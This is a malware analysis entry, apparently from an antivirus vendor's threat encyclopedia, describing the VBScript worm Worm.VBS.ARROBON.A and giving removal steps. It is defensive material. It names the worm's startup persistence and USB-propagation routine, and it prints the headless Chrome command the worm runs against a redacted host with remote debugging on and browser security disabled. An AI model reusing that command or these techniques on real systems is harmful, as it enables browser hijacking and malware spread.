Worm.VBS.ARROBON.A

 Analysis by: Earle Maui Earnshaw

 ALIASES:

Trojan:VBS/Malscript!MSR (Microsoft)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Worm

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Dropped by other malware, Downloaded from the Internet

This Worm arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

41,697 bytes

Memory Resident:

Yes

Initial Samples Received Date:

13 Mar 2020

Payload:

Drops files, Deletes files, Connects to URLs/IPs

Arrival Details

This Worm arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Worm drops the following files:

  • {Removable Drive}\click para ver tus archivos (no borrar).lnk

It drops the following copies of itself into the affected system:

  • %User Startup%\system.vbe

(Note: %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).)

It adds the following processes:

  • explorer.exe /e, {Removable Drive Letter}\f{Random Characters}
  • %User Startup%\system.vbe restart

(Note: %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).)

It modifies folder attributes to make folders hidden.

Autostart Technique

This Worm drops the following file(s) in the Startup Items folder to enable its automatic execution at every system startup:

  • %User Startup%\system.vbe

(Note: %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).)

Other System Modifications

This Worm deletes the following folders:

  • Deletes all folders in the removable drive aside from the created folder of the malware

Propagation

This Worm creates the following folders in all removable drives:

  • {Rermovable Drive Letter}\f{Random Characters}
  • {Rermovable Drive Letter}\f{Random Characters}\temp

It drops the following copy(ies) of itself in all removable drives:

  • {Removable Drive}\f{Random characters}\temp\system.vbe

Download Routine

This Worm connects to the following website(s) to download and execute a malicious file:

  • https://{BLOCKED}71

Information Theft

This Worm gathers the following data:

  • Disk Drive information and Logical Drive Volumes present in the system

Other Details

This Worm does the following:

  • Accepts the following arguments:
    • format {Malware Filename}.vbs {Argument 1} {Argument 2}
      • No argument → will execute the following:
        • chrome.exe -url https://{BLOCKED}71 --headless --remote-debugging-port=9222 --user-data-dir="%User Temp%\session" --disable-web-security --reduce-security-for-testing --allow-running-insecure-content
      • {Argument 1}
        • click → Will execute "explorer.exe /e, {Argument 2}" then drops a copy to %User Startup%\system.vbe
        • restart → Will proceed to the propagation routine
      • {Argument 2} → {Removable Drive}\f{Random Characters}
  • Will not drop a copy of itself in the removable drives given by the following conditions:
    • Presence of click para ver tus archivos (no borrar).lnk in the removable drive
    • If the used space in the removable drive is greater than the Free Space
  • Move and Copies all files and folder found in the removable drive to the following folders:
    • {Removable Drive}\f{random characters}

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.746.02

FIRST VSAPI PATTERN DATE:

16 Mar 2020

VSAPI OPR PATTERN File:

15.747.00

VSAPI OPR PATTERN Date:

17 Mar 2020

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %User Startup%\system.vbe
  • {Removable Drive}\click para ver tus archivos (no borrar).lnk
  • {Removable Drive}\f{Random Characters}\temp\system.vbe

Step 5

Search and delete these folders

[ Learn More ]
Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.
  • {Removable Drive}\f{Random Characters}\temp\

Step 6

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Worm.VBS.ARROBON.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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